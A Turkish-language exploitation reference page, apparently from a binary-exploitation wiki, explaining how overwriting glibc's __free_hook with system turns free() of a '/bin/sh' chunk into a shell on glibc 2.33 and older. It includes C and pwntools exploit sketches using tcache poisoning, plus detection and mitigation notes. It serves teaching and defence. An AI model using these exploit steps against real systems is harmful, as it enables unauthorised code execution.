Skip to content

__free_hook overwrite

glibc'nin __free_hook function pointer'ını system ile overwrite et, sonra "/bin/sh" içeren bir chunk'ı free ederek bir shell başlat.

Mechanism

Note

__free_hook, libc'nin writable data section'ındaki global bir function pointer'dır. Her çağrıda free(ptr) onu kontrol eder ve NULL değilse, gerçek free yolunun yerine hook(ptr, caller)'ı çağırır — chunk'ın data pointer'ını ilk argüman olarak geçirerek. Mangle edilmemiş, korumasız bir pointer'dır: ne PTR_MANGLE ne de bir integrity check var. Ona kim yazabiliyorsa tek argümanlı bir indirect call'u kontrol eder.

Hook ilk argümanı olarak free edilen pointer'ı aldığından, en temiz exploit __free_hook = &system artı içeriği "/bin/sh\x00" ile başlayan bir chunk'tır. O zaman free(p), system("/bin/sh")'e dönüşür. Bu, argümanı bir pointer değil bir size olan __malloc_hook'tan daha kullanışlıdır.

Warning

__free_hook glibc 2.34'te kaldırıldı (2.32'de build uyarılarıyla deprecate edildi). Modern sistemlerde sembol bir no-op uyumluluk stub'ıdır ve ona yazmak hiçbir şey yapmaz. Bunu yalnızca glibc ≤ 2.33'e karşı kullan.

Walkthrough

Hook'a ulaşmak genelde &__free_hook ile overlap eden bir allocation döndüren bir tcache/fastbin poison'dır, ardından &system yazılır:

// glibc <= 2.33
char *p = malloc(0x20);
strcpy(p, "/bin/sh");            // chunk data = command string

// ... tcache poisoning gives an allocation at &__free_hook ...
char *q = malloc(0x20);          // q == &__free_hook
*(unsigned long *)q = libc_system;

free(p);                         // free -> __free_hook(p) == system("/bin/sh")

Bir tcache-poisoning write primitive kullanan pwntools taslağı:

libc.address = leak - libc.sym['puts']        # from an address leak
free_hook   = libc.sym['__free_hook']
system      = libc.sym['system']
tcache_poison(target=free_hook)               # next malloc returns &__free_hook
edit(idx, p64(system))                        # __free_hook = system
edit(binsh_idx, b"/bin/sh\x00")
free(binsh_idx)                               # -> system("/bin/sh")

Beklenen çıktı: free() çalıştığında bir shell ($).

Detection

NULL olmayan ve meşru malloc-debug stub'larının dışını gösteren bir __free_hook, glibc ≤ 2.33'te anormaldir. Hardened allocator'lar ve MALLOC_CHECK_ bunu yakalamak için hiç tasarlanmadı — gerçek düzeltme 2.34'teki kaldırma oldu.

Mitigation

  • glibc ≥ 2.34 hook'u tamamen kaldırdı. Debug hooking, preload edilebilir bir libc_malloc_debug.so.0'a taşındı.
  • Daha eski libc'lerde bağımlılık libc içine bir arbitrary write'tır; ASLR + bir libc address leak ihtiyacı çıtayı yükseltir ama durdurmaz. Modern hedeflerde exit-handler abuse veya FSOP'a pivot yap.

References